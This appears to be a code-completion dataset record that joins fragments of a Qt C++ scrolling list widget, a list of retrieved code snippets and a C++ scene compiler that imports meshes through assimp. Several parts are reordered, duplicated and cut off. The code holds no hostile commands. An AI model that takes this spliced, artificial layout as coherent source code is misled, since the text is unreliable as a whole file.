ListWidget::SetParent() { foreach (WidgetItem* pItem, m_list) { pItem->setParent(m_pWidgetListPane); pItem->show(); } } void ListWidget::AdjustGeometry() { QRect rect; int i = 0; for(i = 0; i < m_list.count(); i++) { rect.setTopLeft(QPoint( m_ItemSpace, (m_ItemSpace+i*(58+m_ItemSpace))) ); rect.setBottomRight(QPoint( (width()-m_ItemSpace-1), (58+m_ItemSpace-1+i*(58+m_ItemSpace) ))); m_list[i]->setGeometry(rect); } m_pWidgetListPane->setGeometry( QRect( 0, m_pWidgetListPane->y(), width(), (m_list.count() * (m_ItemSpace+58) + m_ItemSpace) ) ); } void ListWidget::AdjustZOrder() { ui->curosr->raise(); ui->roll->raise(); } void ListWidget::AdjustCursor() { int index = m_selectedIndex; if( (index >= 0) && (index < m_list.count()) ) { ui->curosr->setGeometry(m_ItemSpace, (m_ItemSpace+index*(58+m_ItemSpace)), width()-m_ItemSpace*2, 58 ); ui->curosr->show(); } } void ListWidget::SetCursorIndex(const int& index, bool visible) { if( (index >= 0) && (index < m_list.count()) ) { m_selectedIndex = index; ui->curosr->setVisible(visible); ui->curosr->setGeometry(m_ItemSpace, (m_ItemSpace+index*(58+m_ItemSpace)), width()-m_ItemSpace*2, 58 ); } } void ListWidget::AdjustRoll() { int rollY; const int rollBeginY = ui->background->y(); const int rollEndY = ui->background->geometry().bottom() - ui->roll->height() + 1; const int pageBeginY = ui->background->y(); const int pageEndY = -m_pWidgetListPane->height() + ui->background->height(); float factor = height()/(float)m_pWidgetListPane->height(); if(RollChecked()) { if(!m_runed) { ui->roll->hide(); } else { ui->roll->show(); } if(m_pWidgetListPane->y() > pageBeginY) { SetRollHeight( (uint)(height()*factor) - qAbs((m_pWidgetListPane->y() - pageBeginY)*factor) ); rollY = rollBeginY; } else if(m_pWidgetListPane->y() < pageEndY) { SetRollHeight( (uint)(height()*factor) - qAbs((m_pWidgetListPane->y() - pageEndY)*factor ) ); rollY = rollEndY; } else { SetRollHeight( (uint)((height()*height())/(float)m_pWidgetListPane->height()) ); rollY = (rollEndY - rollBeginY) * m_pWidgetListPane->y() / (pageEndY - pageBeginY); } ui->roll->move(width()-8, rollY); } } bool ListWidget::RollChecked() { return (m_pWidgetListPane->height() > ui->background->height()); } void ListWidget::AnimationUpdate(const QVariant& variant) { if(variant.type() != QVariant::Point) return; AdjustRoll(); } void ListWidget::AnimationFinished() { m_runed = false; AdjustRoll(); } void ListWidget::OnSelectChanged(int) { } void ListWidget::SetRollHeight(uint height) { ui->roll->resize(ui->roll->width(), (ui->roll->width()>(int)height)?ui->roll->width():height); } void ListWidget::SetRollColor(const QColor& color) { QString style = QString("background-color: rgb(%1, %2, %3);").arg(color.red()).arg(color.green()).arg(color.blue()); ui->roll->setStyleSheet(style); }
#include "listwidget.h" #include "ui_listwidget.h" #include <QEvent> #include <QMouseEvent> #include <QWheelEvent> #include <Qdebug> ListWidget::ListWidget(QWidget *parent) : QWidget(parent), ui(new Ui::ListWidget), m_ItemSpace(4), m_selectedIndex(-1), m_cursorEnable(true), m_flip(false), m_runed(false), m_flipStatus(FlipStatus_NULL) { ui->setupUi(this); init(); } ListWidget::~ListWidget() { final(); delete ui; }
Y = -m_pWidgetListPane->height() + ui->background->height(); int delta = ( (e->angleDelta().y() > 0) ? 60 : -60 ); int posY = m_pWidgetListPane->y() + delta; if(m_animManager.OnRunning()) m_animManager.ReleaseAnimation(); if(!RollChecked()) return; if(posY > pageBeginY) posY = pageBeginY; if(posY < pageEndY) posY = pageEndY; m_pWidgetListPane->move(0, posY); AdjustRoll(); } void ListWidget::resizeEvent(QResizeEvent *e) { QSize newSize = e->size(); resize(newSize); ui->background->resize(newSize); AdjustGeometry(); AdjustCursor(); AdjustRoll(); } bool ListWidget::eventFilter(QObject *obj, QEvent *e) { int widgetSelectedIndex = -1; int i = 0; for(i = 0; i < m_list.count(); i++) { if(m_list[i] == obj) { widgetSelectedIndex = i; break; } } if(widgetSelectedIndex != -1) { if(e->type() == QEvent::MouseButtonRelease) { if(m_selectedIndex != widgetSelectedIndex && !m_runed) { m_selectedIndex = widgetSelectedIndex; emit SelecteChanged(m_selectedIndex); } return ListWidget::event(e); } } return false; } void ListWidget::SetBackGroundColor(const QColor& color) { QString style = QString("background-color: rgb(%1, %2, %3);").arg(color.red()).arg(color.green()).arg(color.blue()); ui->background->setStyleSheet(style); } void ListWidget::AddWidgetItems(const QList<WidgetItem*>& list) { m_pWidgetListPane->move(0, 0); m_list.append(list); SetParent(); RemoveItemsFilter(); InstallItemsFilter(); AdjustGeometry(); AdjustZOrder(); update(); } void ListWidget::AddWidgetItem(WidgetItem* pItem) { m_pWidgetListPane->move(0, 0); m_list.append(pItem); SetParent(); RemoveItemsFilter(); InstallItemsFilter(); AdjustGeometry(); AdjustZOrder(); update(); } void ListWidget::Clear() { RemoveItemsFilter(); int i = 0; for(i = 0; i < m_list.count(); i++) { delete m_list[i]; m_list[i] = NULL; } m_list.clear(); ui->roll->hide(); ui->curosr->hide(); m_selectedIndex = -1; m_flipStatus = FlipStatus_NULL; update(); } void ListWidget::InstallItemsFilter() { foreach (WidgetItem* pItem, m_list) { pItem->installEventFilter(this); } } void ListWidget::RemoveItemsFilter() { foreach (WidgetItem* pItem, m_list) { pItem->removeEventFilter(this); } } void ListWidget::SetParent() { foreach (WidgetItem* pItem, m_list) { pItem->setParent(m_pWidgetListPane); pItem->show(); } } void ListWidget::AdjustGeometry() { QRect rect; int i = 0; for(i = 0; i < m_list.count(); i++) { rect.setTopLeft(QPoint( m_ItemSpace, (m_ItemSpace+i*(58+m_ItemSpace))) ); rect.setBottomRight(QPoint( (width()-m_ItemSpace-1), (58+m_ItemSpace-1+i*(58+m_ItemSpace) ))); m_list[i]->setGeometry(rect); } m_pWidgetListPane->setGeometry( QRect( 0, m_pWidgetListPane->y(), width(), (m_list.count() * (m_ItemSpace+58) + m_ItemSpace) ) ); } void ListWidget::AdjustZOrder() { ui->curosr->raise(); ui->roll->raise(); } void ListWidget::AdjustCursor() { int index = m_selectedIndex; if( (index >= 0) && (index < m_list.count()) ) { ui->curosr->setGeometry(m_ItemSpace, (m_ItemSpace+index*(58+m_ItemSpace)), width()-m_ItemSpace*2, 58 ); ui->curosr->show(); } } void ListWidget::SetCursorIndex(const int& index, bool visible) { if( (index >= 0) && (index < m_list.count()) ) { m_selectedIndex = index; ui->curosr->setVisible(visible); ui->curosr->setGeometry(m_ItemSpace, (m_ItemSpace+index*(58+m_ItemSpace)), width()-m_ItemSpace*2, 58 ); } } void ListWidget::AdjustRoll() { int rollY; const int rollBeginY = ui->background->y(); const int rollEndY = ui->background->geometry().bottom() - ui->roll->height() + 1; const int pageBeginY = ui->background->y(); const int pageEndY = -m_pWidgetListPane->height() + ui->background->height(); float factor = height()/(float)m_pWidgetListPane->height(); if(RollChecked()) { if(!m_runed) { ui->roll->hide(); } else { ui->roll->show(); } if(m_pWidgetListPane->y() > pageBeginY) { SetRollHeight( (uint)(height()*factor) - qAbs((m_pWidgetListPane->y() - pageBeginY)*factor) ); rollY = rollBeginY; } else if(m_pWidgetListPane->y() < pageEndY) { SetRollHeight( (uint)(height()*factor) - qAbs((m_pWidgetListPane->y() - pageEndY)*factor ) ); rollY = rollEndY; } else { SetRollHeight( (uint)((height()*height())/(float)m_pWidgetListPane->height()) ); rollY = (rollEndY - rollBeginY) * m_pWidgetListPane->y() / (pageEndY - pageBeginY); } ui->roll->move(width()-8, rollY); } } bool ListWidget::RollChecked() { return (m_pWidgetListPane->height() > ui->background->height()); } void ListWidget::AnimationUpdate(const QVariant& variant) { if(variant.type() != QVariant::Point) return; AdjustRoll(); } void ListWidget::AnimationFinished() { m_runed = false; AdjustRoll(); } void ListWidget::OnSelectChanged(int) { } void ListWidget::SetRollHeight(uint height) { ui->roll->resize(ui->roll->width(), (ui->roll->width()>(int)height)?ui->roll->width():height); } void ListWidget::SetRollColor(const QColor& color) { QString style = QString("background-color: rgb(%1, %2, %3);").arg(color.red()).arg(color.green()).arg(color.blue()); ui->roll->setStyleSheet(style); }
void ListWidget::init() { m_pWidgetListPane = new QWidget(ui->background); ui->curosr->setParent(m_pWidgetListPane); connect(&m_animManager, SIGNAL(valueHasChanged(QVariant)), this, SLOT(AnimationUpdate(QVariant)) ); connect(&m_animManager, SIGNAL(finished()), this, SLOT(AnimationFinished())); ui->roll->hide(); ui->curosr->hide(); } void ListWidget::final() { delete m_pWidgetListPane; m_pWidgetListPane = NULL; disconnect(&m_animManager, SIGNAL(valueHasChanged(QVariant)), this, SLOT(AnimationUpdate(QVariant)) ); disconnect(&m_animManager, SIGNAL(finished()), this, SLOT(AnimationFinished())); } void ListWidget::mousePressEvent(QMouseEvent* e) { e->accept(); m_flipGrabBeginY = e->globalY(); } void ListWidget::mouseMoveEvent(QMouseEvent *e) { e->accept(); const int pageBeginY = ui->background->y(); const int pageEndY = -m_pWidgetListPane->height() + ui->background->height(); static int lastY = 0; static int pressedPaneY = 0; int pandWidgetY = 0; if(m_flip == false){ lastY = e->y(); pressedPaneY = m_pWidgetListPane->y(); m_flipTime.start(); } else { bool moveOverFlag = RollChecked(); if(moveOverFlag) { m_runed = true; int deltaY = e->y() - lastY; pandWidgetY = (pressedPaneY + deltaY); if(e->y() > lastY) { m_flipStatus = FlipStatus_Down; if(pressedPaneY + deltaY > pageBeginY) { pandWidgetY = pageBeginY + ((pressedPaneY + deltaY) - pageBeginY)/2; } } else { m_flipStatus = FlipStatus_Up; if(pressedPaneY + deltaY < pageEndY) { pandWidgetY = pageEndY + ((pressedPaneY + deltaY) - pageEndY)/2; } } m_pWidgetListPane->move(QPoint(0, pandWidgetY)); AdjustRoll(); } } m_flip = true; } void ListWidget::mouseReleaseEvent(QMouseEvent *e) { m_runed = false; m_flip = false; float elapsedTime = m_flipTime.elapsed(); int distance = e->globalY() - m_flipGrabBeginY; if(elapsedTime < 0.01) elapsedTime = 1; if(!RollChecked()) { if(m_cursorEnable) AdjustCursor(); return; } float speed = (float)distance / elapsedTime; const float uSpeed = qAbs(speed); QEasingCurve::Type type = QEasingCurve::Linear; const int pageBeginY = ui->background->y(); const int pageEndY = -m_pWidgetListPane->height() + ui->background->height(); int startPosY = m_pWidgetListPane->y(); int targetPosY = 0; uint intervalTime = 0; qDebug() << "USpeed : " << uSpeed; if(m_animManager.OnRunning()) m_animManager.ReleaseAnimation(); if(uSpeed < 0.7) { m_runed = false; } else if(uSpeed < 1.2) { m_runed = true; intervalTime = 1600 * uSpeed / 0.8; targetPosY = startPosY + speed * intervalTime / 5; } else{ m_runed = true; intervalTime = 1600 * uSpeed / 0.8; targetPosY = startPosY + speed * intervalTime / 2; } if (targetPosY > pageBeginY) { intervalTime = intervalTime * qAbs((float)(pageBeginY-startPosY) / (targetPosY-startPosY)); targetPosY = pageBeginY; type = QEasingCurve::OutBack; } else if (targetPosY < pageEndY){ intervalTime = intervalTime * qAbs((float)(pageEndY-startPosY) / (targetPosY-startPosY)); targetPosY = pageEndY; type = QEasingCurve::OutBack; } else { type = QEasingCurve::OutCirc; } if( ((startPosY > pageBeginY) || (startPosY < pageEndY)) ) { m_runed = true; type = QEasingCurve::OutCirc; intervalTime = 200; targetPosY = ((startPosY > pageBeginY) ? pageBeginY : pageEndY); } AdjustRoll(); if(!m_animManager.OnRunning() && m_cursorEnable) AdjustCursor(); if(m_runed) { m_animManager.AddAnimation(m_pWidgetListPane, UIAnimationManager::ActionType_Pos, m_pWidgetListPane->pos(), QPoint(m_pWidgetListPane->x(), targetPosY)); m_animManager.SetDuration(intervalTime); m_animManager.SetEasingCurve(type); m_animManager.StartAnimation(); } repaint(); } void ListWidget::wheelEvent(QWheelEvent *e) { const int pageBeginY = ui->background->y(); const int pageEnd
random
[ { "content": "class DeleteDialog;\n\n}\n\n\n", "file_path": "deletedialog.h", "rank": 0, "score": 34138.03018523498 }, { "content": "class DeleteDialogEx;\n\n}\n\n\n", "file_path": "deletedialogex.h", "rank": 1, "score": 31878.019443510068 }, { "content": "class DeleteDia...
C++
src/cetech/scene/private/scene_compiler.cpp
ValtoForks/cetech
03347c5ec34e8827024ae4ddd911bd0f804a85b0
#include <time.h> #include <celib/macros.h> #include <celib/ydb.h> #include <celib/array.inl> #include "celib/hashlib.h" #include "celib/memory.h" #include "celib/api_system.h" #include <celib/os.h> #include <celib/ydb.h> #include <celib/cdb.h> #include <celib/config.h> #include "cetech/machine/machine.h" #include "cetech/resource/resource.h" #include <cetech/renderer/renderer.h> #include <cetech/renderer/gfx.h> #include "cetech/ecs/ecs.h" #include <cetech/scene/scene.h> #include <cetech/kernel/kernel.h> #include <cetech/resource/builddb.h> #include <include/assimp/scene.h> #include <include/assimp/postprocess.h> #include <include/assimp/cimport.h> #include <celib/log.h> #include <celib/buffer.inl> #include <cetech/resource/resource_compiler.h> #define _G scene_compiler_globals struct _G { struct ce_alloc *allocator; } _G; typedef char char_128[128]; struct compile_output { uint64_t *geom_name; uint32_t *ib_offset; uint32_t *vb_offset; ct_render_vertex_decl_t *vb_decl; uint32_t *ib_size; uint32_t *vb_size; uint32_t *ib; uint8_t *vb; uint64_t *node_name; uint32_t *node_parent; float *node_pose; uint64_t *geom_node; char_128 *geom_str; char_128 *node_str; }; struct compile_output *_crete_compile_output() { struct compile_output *output = CE_ALLOC(_G.allocator, struct compile_output, sizeof(struct compile_output)); *output = {}; return output; } static void _destroy_compile_output(struct compile_output *output) { ce_array_free(output->geom_name, _G.allocator); ce_array_free(output->ib_offset, _G.allocator); ce_array_free(output->vb_offset, _G.allocator); ce_array_free(output->vb_decl, _G.allocator); ce_array_free(output->ib_size, _G.allocator); ce_array_free(output->vb_size, _G.allocator); ce_array_free(output->ib, _G.allocator); ce_array_free(output->vb, _G.allocator); ce_array_free(output->node_name, _G.allocator); ce_array_free(output->geom_node, _G.allocator); ce_array_free(output->node_parent, _G.allocator); ce_array_free(output->node_pose, _G.allocator); ce_array_free(output->node_str, _G.allocator); ce_array_free(output->geom_str, _G.allocator); CE_FREE(_G.allocator, output); } static void _compile_assimp_node(struct aiNode *root, uint32_t parent, struct compile_output *output) { uint64_t name = ce_id_a0->id64(root->mName.data); char tmp_name[128] = {}; strncpy(tmp_name, root->mName.data, 127); ce_array_push_n(output->node_str, &tmp_name, 1, _G.allocator); uint32_t idx = ce_array_size(output->node_name); ce_array_push(output->node_name, name, _G.allocator); ce_array_push(output->node_parent, parent, _G.allocator); ce_array_push_n(output->node_pose, &root->mTransformation.a1, 16, _G.allocator); for (uint32_t i = 0; i < root->mNumChildren; ++i) { _compile_assimp_node(root->mChildren[i], idx, output); } for (uint32_t i = 0; i < root->mNumMeshes; ++i) { ce_array_push(output->geom_node, name, _G.allocator); } } static int _compile_assimp(uint64_t k, struct compile_output *output) { const ce_cdb_obj_o *reader = ce_cdb_a0->read(k); uint64_t import_obj = ce_cdb_a0->read_subobject(reader, ce_id_a0->id64("import"), 0); const ce_cdb_obj_o *import_reader = ce_cdb_a0->read(import_obj); const char *input_str = ce_cdb_a0->read_str(import_reader, ce_id_a0->id64("input"), ""); const ce_cdb_obj_o *c_reader = ce_cdb_a0->read(ce_config_a0->obj()); const char *source_dir = ce_cdb_a0->read_str(c_reader, CONFIG_SRC, ""); char *input_path = NULL; ce_os_a0->path->join(&input_path, _G.allocator, 2, source_dir, input_str); uint32_t postprocess_flag = aiProcessPreset_TargetRealtime_MaxQuality | aiProcess_ConvertToLeftHanded; uint64_t postprocess_obj = ce_cdb_a0->read_subobject(import_reader, ce_id_a0->id64( "postprocess"), 0); const ce_cdb_obj_o *pp_reader = ce_cdb_a0->read(postprocess_obj); if (ce_cdb_a0->read_bool(pp_reader, ce_id_a0->id64("flip_uvs"), false)) { postprocess_flag |= aiProcess_FlipUVs; } const struct aiScene *scene = aiImportFile(input_path, postprocess_flag); if (!scene) { ce_log_a0->error("scene_compiler", "Could not import %s", input_path); return 0; } char tmp_buffer[1024] = {}; char tmp_buffer2[1024] = {}; uint32_t unique = 0; for (uint32_t i = 0; i < scene->mNumMeshes; ++i) { struct aiMesh *mesh = scene->mMeshes[i]; if (mesh->mName.length == 0) { snprintf(tmp_buffer, CE_ARRAY_LEN(tmp_buffer), "geom_%d", i); } else { memcpy(tmp_buffer, mesh->mName.data, mesh->mName.length); } uint64_t name_id = ce_id_a0->id64(tmp_buffer); for (uint32_t k = 0; k < ce_array_size(output->geom_name); ++k) { if (name_id == output->geom_name[k]) { snprintf(tmp_buffer2, CE_ARRAY_LEN(tmp_buffer2), "%s%d", tmp_buffer, ++unique); snprintf(tmp_buffer, CE_ARRAY_LEN(tmp_buffer), "%s", tmp_buffer2); break; } } char tmp_name[128] = {}; strncpy(tmp_name, tmp_buffer, 127); ce_array_push_n(output->geom_str, &tmp_name, 1, _G.allocator); ce_array_push(output->geom_name, ce_id_a0->id64(tmp_buffer), _G.allocator); ce_array_push(output->ib_offset, ce_array_size(output->ib), _G.allocator); ce_array_push(output->vb_offset, ce_array_size(output->vb), _G.allocator); ce_array_push(output->ib_size, mesh->mNumFaces * 3, _G.allocator); ct_render_vertex_decl_t vertex_decl; ct_gfx_a0->vertex_decl_begin(&vertex_decl, CT_RENDER_RENDERER_TYPE_COUNT); uint32_t v_size = 0; if (mesh->mVertices != NULL) { ct_gfx_a0->vertex_decl_add(&vertex_decl, CT_RENDER_ATTRIB_POSITION, 3, CT_RENDER_ATTRIB_TYPE_FLOAT, 0, 0); v_size += 3 * sizeof(float); } if (mesh->mNormals != NULL) { ct_gfx_a0->vertex_decl_add(&vertex_decl, CT_RENDER_ATTRIB_NORMAL, 3, CT_RENDER_ATTRIB_TYPE_FLOAT, true, 0); v_size += 3 * sizeof(float); } if (mesh->mTextureCoords[0] != NULL) { ct_gfx_a0->vertex_decl_add(&vertex_decl, CT_RENDER_ATTRIB_TEXCOORD0, 2, CT_RENDER_ATTRIB_TYPE_FLOAT, 0, 0); v_size += 2 * sizeof(float); } ct_gfx_a0->vertex_decl_end(&vertex_decl); ce_array_push(output->vb_decl, vertex_decl, _G.allocator); ce_array_push(output->vb_size, v_size * mesh->mNumVertices, _G.allocator); for (uint32_t j = 0; j < mesh->mNumVertices; ++j) { if (mesh->mVertices != NULL) { ce_array_push_n(output->vb, (uint8_t *) &mesh->mVertices[j], sizeof(float) * 3, _G.allocator); } if (mesh->mNormals != NULL) { ce_array_push_n(output->vb, (uint8_t *) &mesh->mNormals[j], sizeof(float) * 3, _G.allocator); } if (mesh->mTextureCoords[0] != NULL) { ce_array_push_n(output->vb, (uint8_t *) &mesh->mTextureCoords[0][j], sizeof(float) * 2, _G.allocator); } } for (uint32_t j = 0; j < mesh->mNumFaces; ++j) { ce_array_push(output->ib, mesh->mFaces[j].mIndices[0], _G.allocator); ce_array_push(output->ib, mesh->mFaces[j].mIndices[1], _G.allocator); ce_array_push(output->ib, mesh->mFaces[j].mIndices[2], _G.allocator); } } _compile_assimp_node(scene->mRootNode, UINT32_MAX, output); return 1; } extern "C" uint64_t scene_compiler(uint64_t k, struct ct_resource_id rid, const char *fullname) { struct compile_output *output = _crete_compile_output(); int ret = 1; if (ce_cdb_a0->prop_exist(k, ce_id_a0->id64("import"))) { ret = _compile_assimp(k, output); } if (!ret) { _destroy_compile_output(output); return false; } uint64_t obj = ce_cdb_a0->create_object(ce_cdb_a0->db(), SCENE_TYPE); ce_cdb_obj_o *w = ce_cdb_a0->write_begin(obj); ce_cdb_a0->set_uint64(w, SCENE_GEOM_COUNT, ce_array_size(output->geom_name)); ce_cdb_a0->set_uint64(w, SCENE_NODE_COUNT, ce_array_size(output->node_name)); ce_cdb_a0->set_uint64(w, SCENE_IB_LEN, ce_array_size(output->ib)); ce_cdb_a0->set_uint64(w, SCENE_VB_LEN, ce_array_size(output->vb)); ce_cdb_a0->set_blob(w, SCENE_GEOM_NAME, output->geom_name, sizeof(*output->geom_name) * ce_array_size(output->geom_name)); ce_cdb_a0->set_blob(w, SCENE_IB_OFFSET, output->ib_offset, sizeof(*output->ib_offset) * ce_array_size(output->ib_offset)); ce_cdb_a0->set_blob(w, SCENE_VB_OFFSET, output->vb_offset, sizeof(*output->vb_offset) * ce_array_size(output->vb_offset)); ce_cdb_a0->set_blob(w, SCENE_VB_DECL, output->vb_decl, sizeof(*output->vb_decl) * ce_array_size(output->vb_decl)); ce_cdb_a0->set_blob(w, SCENE_IB_SIZE, output->ib_size, sizeof(*output->ib_size) * ce_array_size(output->ib_size)); ce_cdb_a0->set_blob(w, SCENE_VB_SIZE, output->vb_size, sizeof(*output->vb_size) * ce_array_size(output->vb_size)); ce_cdb_a0->set_blob(w, SCENE_IB_PROP, output->ib, sizeof(*output->ib) * ce_array_size(output->ib)); ce_cdb_a0->set_blob(w, SCENE_VB_PROP, output->vb, sizeof(*output->vb) * ce_array_size(output->vb)); ce_cdb_a0->set_blob(w, SCENE_NODE_NAME, output->node_name, sizeof(*output->node_name) * ce_array_size(output->node_name)); ce_cdb_a0->set_blob(w, SCENE_NODE_PARENT, output->node_parent, sizeof(*output->node_parent) * ce_array_size(output->node_parent)); ce_cdb_a0->set_blob(w, SCENE_NODE_POSE, output->node_pose, sizeof(*output->node_pose) * ce_array_size(output->node_pose)); ce_cdb_a0->set_blob(w, SCENE_NODE_GEOM, output->geom_node, sizeof(*output->geom_node) * ce_array_size(output->geom_node)); ce_cdb_a0->set_blob(w, SCENE_GEOM_STR, output->geom_str, sizeof(*output->geom_str) * ce_array_size(output->geom_str)); ce_cdb_a0->set_blob(w, SCENE_NODE_STR, output->node_str, sizeof(*output->node_str) * ce_array_size(output->node_str)); ce_cdb_a0->write_commit(w); _destroy_compile_output(output); return obj; } extern "C" int scenecompiler_init(struct ce_api_a0 *api) { CE_INIT_API(api, ce_memory_a0); CE_INIT_API(api, ct_resource_a0); CE_INIT_API(api, ce_os_a0); CE_INIT_API(api, ce_id_a0); CE_INIT_API(api, ce_ydb_a0); CE_INIT_API(api, ce_ydb_a0); CE_INIT_API(api, ct_renderer_a0); _G = (struct _G) {.allocator=ce_memory_a0->system}; return 1; }
#include <time.h> #include <celib/macros.h> #include <celib/ydb.h> #include <celib/array.inl> #include "celib/hashlib.h" #include "celib/memory.h" #include "celib/api_system.h" #include <celib/os.h> #include <celib/ydb.h> #include <celib/cdb.h> #include <celib/config.h> #include "cetech/machine/machine.h" #include "cetech/resource/resource.h" #include <cetech/renderer/renderer.h> #include <cetech/renderer/gfx.h> #include "cetech/ecs/ecs.h" #include <cetech/scene/scene.h> #include <cetech/kernel/kernel.h> #include <cetech/resource/builddb.h> #include <include/assimp/scene.h> #include <include/assimp/postprocess.h> #include <include/assimp/cimport.h> #include <celib/log.h> #include <celib/buffer.inl> #include <cetech/resource/resource_compiler.h> #define _G scene_compiler_globals struct _G { struct ce_alloc *allocator; } _G; typedef char char_128[128]; struct compile_output { uint64_t *geom_name; uint32_t *ib_offset; uint32_t *vb_offset; ct_render_vertex_decl_t *vb_decl; uint32_t *ib_size; uint32_t *vb_size; uint32_t *ib; uint8_t *vb; uint64_t *node_name; uint32_t *node_parent; float *node_pose; uint64_t *geom_node; char_128 *geom_str; char_128 *node_str; };
static void _destroy_compile_output(struct compile_output *output) { ce_array_free(output->geom_name, _G.allocator); ce_array_free(output->ib_offset, _G.allocator); ce_array_free(output->vb_offset, _G.allocator); ce_array_free(output->vb_decl, _G.allocator); ce_array_free(output->ib_size, _G.allocator); ce_array_free(output->vb_size, _G.allocator); ce_array_free(output->ib, _G.allocator); ce_array_free(output->vb, _G.allocator); ce_array_free(output->node_name, _G.allocator); ce_array_free(output->geom_node, _G.allocator); ce_array_free(output->node_parent, _G.allocator); ce_array_free(output->node_pose, _G.allocator); ce_array_free(output->node_str, _G.allocator); ce_array_free(output->geom_str, _G.allocator); CE_FREE(_G.allocator, output); } static void _compile_assimp_node(struct aiNode *root, uint32_t parent, struct compile_output *output) { uint64_t name = ce_id_a0->id64(root->mName.data); char tmp_name[128] = {}; strncpy(tmp_name, root->mName.data, 127); ce_array_push_n(output->node_str, &tmp_name, 1, _G.allocator); uint32_t idx = ce_array_size(output->node_name); ce_array_push(output->node_name, name, _G.allocator); ce_array_push(output->node_parent, parent, _G.allocator); ce_array_push_n(output->node_pose, &root->mTransformation.a1, 16, _G.allocator); for (uint32_t i = 0; i < root->mNumChildren; ++i) { _compile_assimp_node(root->mChildren[i], idx, output); } for (uint32_t i = 0; i < root->mNumMeshes; ++i) { ce_array_push(output->geom_node, name, _G.allocator); } } static int _compile_assimp(uint64_t k, struct compile_output *output) { const ce_cdb_obj_o *reader = ce_cdb_a0->read(k); uint64_t import_obj = ce_cdb_a0->read_subobject(reader, ce_id_a0->id64("import"), 0); const ce_cdb_obj_o *import_reader = ce_cdb_a0->read(import_obj); const char *input_str = ce_cdb_a0->read_str(import_reader, ce_id_a0->id64("input"), ""); const ce_cdb_obj_o *c_reader = ce_cdb_a0->read(ce_config_a0->obj()); const char *source_dir = ce_cdb_a0->read_str(c_reader, CONFIG_SRC, ""); char *input_path = NULL; ce_os_a0->path->join(&input_path, _G.allocator, 2, source_dir, input_str); uint32_t postprocess_flag = aiProcessPreset_TargetRealtime_MaxQuality | aiProcess_ConvertToLeftHanded; uint64_t postprocess_obj = ce_cdb_a0->read_subobject(import_reader, ce_id_a0->id64( "postprocess"), 0); const ce_cdb_obj_o *pp_reader = ce_cdb_a0->read(postprocess_obj); if (ce_cdb_a0->read_bool(pp_reader, ce_id_a0->id64("flip_uvs"), false)) { postprocess_flag |= aiProcess_FlipUVs; } const struct aiScene *scene = aiImportFile(input_path, postprocess_flag); if (!scene) { ce_log_a0->error("scene_compiler", "Could not import %s", input_path); return 0; } char tmp_buffer[1024] = {}; char tmp_buffer2[1024] = {}; uint32_t unique = 0; for (uint32_t i = 0; i < scene->mNumMeshes; ++i) { struct aiMesh *mesh = scene->mMeshes[i]; if (mesh->mName.length == 0) { snprintf(tmp_buffer, CE_ARRAY_LEN(tmp_buffer), "geom_%d", i); } else { memcpy(tmp_buffer, mesh->mName.data, mesh->mName.length); } uint64_t name_id = ce_id_a0->id64(tmp_buffer); for (uint32_t k = 0; k < ce_array_size(output->geom_name); ++k) { if (name_id == output->geom_name[k]) { snprintf(tmp_buffer2, CE_ARRAY_LEN(tmp_buffer2), "%s%d", tmp_buffer, ++unique); snprintf(tmp_buffer, CE_ARRAY_LEN(tmp_buffer), "%s", tmp_buffer2); break; } } char tmp_name[128] = {}; strncpy(tmp_name, tmp_buffer, 127); ce_array_push_n(output->geom_str, &tmp_name, 1, _G.allocator); ce_array_push(output->geom_name, ce_id_a0->id64(tmp_buffer), _G.allocator); ce_array_push(output->ib_offset, ce_array_size(output->ib), _G.allocator); ce_array_push(output->vb_offset, ce_array_size(output->vb), _G.allocator); ce_array_push(output->ib_size, mesh->mNumFaces * 3, _G.allocator); ct_render_vertex_decl_t vertex_decl; ct_gfx_a0->vertex_decl_begin(&vertex_decl, CT_RENDER_RENDERER_TYPE_COUNT); uint32_t v_size = 0; if (mesh->mVertices != NULL) { ct_gfx_a0->vertex_decl_add(&vertex_decl, CT_RENDER_ATTRIB_POSITION, 3, CT_RENDER_ATTRIB_TYPE_FLOAT, 0, 0); v_size += 3 * sizeof(float); } if (mesh->mNormals != NULL) { ct_gfx_a0->vertex_decl_add(&vertex_decl, CT_RENDER_ATTRIB_NORMAL, 3, CT_RENDER_ATTRIB_TYPE_FLOAT, true, 0); v_size += 3 * sizeof(float); } if (mesh->mTextureCoords[0] != NULL) { ct_gfx_a0->vertex_decl_add(&vertex_decl, CT_RENDER_ATTRIB_TEXCOORD0, 2, CT_RENDER_ATTRIB_TYPE_FLOAT, 0, 0); v_size += 2 * sizeof(float); } ct_gfx_a0->vertex_decl_end(&vertex_decl); ce_array_push(output->vb_decl, vertex_decl, _G.allocator); ce_array_push(output->vb_size, v_size * mesh->mNumVertices, _G.allocator); for (uint32_t j = 0; j < mesh->mNumVertices; ++j) { if (mesh->mVertices != NULL) { ce_array_push_n(output->vb, (uint8_t *) &mesh->mVertices[j], sizeof(float) * 3, _G.allocator); } if (mesh->mNormals != NULL) { ce_array_push_n(output->vb, (uint8_t *) &mesh->mNormals[j], sizeof(float) * 3, _G.allocator); } if (mesh->mTextureCoords[0] != NULL) { ce_array_push_n(output->vb, (uint8_t *) &mesh->mTextureCoords[0][j], sizeof(float) * 2, _G.allocator); } } for (uint32_t j = 0; j < mesh->mNumFaces; ++j) { ce_array_push(output->ib, mesh->mFaces[j].mIndices[0], _G.allocator); ce_array_push(output->ib, mesh->mFaces[j].mIndices[1], _G.allocator); ce_array_push(output->ib, mesh->mFaces[j].mIndices[2], _G.allocator); } } _compile_assimp_node(scene->mRootNode, UINT32_MAX, output); return 1; } extern "C" uint64_t scene_compiler(uint64_t k, struct ct_resource_id rid, const char *fullname) { struct compile_output *output = _crete_compile_output(); int ret = 1; if (ce_cdb_a0->prop_exist(k, ce_id_a0->id64("import"))) { ret = _compile_assimp(k, output); } if (!ret) { _destroy_compile_output(output); return false; } uint64_t obj = ce_cdb_a0->create_object(ce_cdb_a0->db(), SCENE_TYPE); ce_cdb_obj_o *w = ce_cdb_a0->write_begin(obj); ce_cdb_a0->set_uint64(w, SCENE_GEOM_COUNT, ce_array_size(output->geom_name)); ce_cdb_a0->set_uint64(w, SCENE_NODE_COUNT, ce_array_size(output->node_name)); ce_cdb_a0->set_uint64(w, SCENE_IB_LEN, ce_array_size(output->ib)); ce_cdb_a0->set_uint64(w, SCENE_VB_LEN, ce_array_size(output->vb)); ce_cdb_a0->set_blob(w, SCENE_GEOM_NAME, output->geom_name, sizeof(*output->geom_name) * ce_array_size(output->geom_name)); ce_cdb_a0->set_blob(w, SCENE_IB_OFFSET, output->ib_offset, sizeof(*output->ib_offset) * 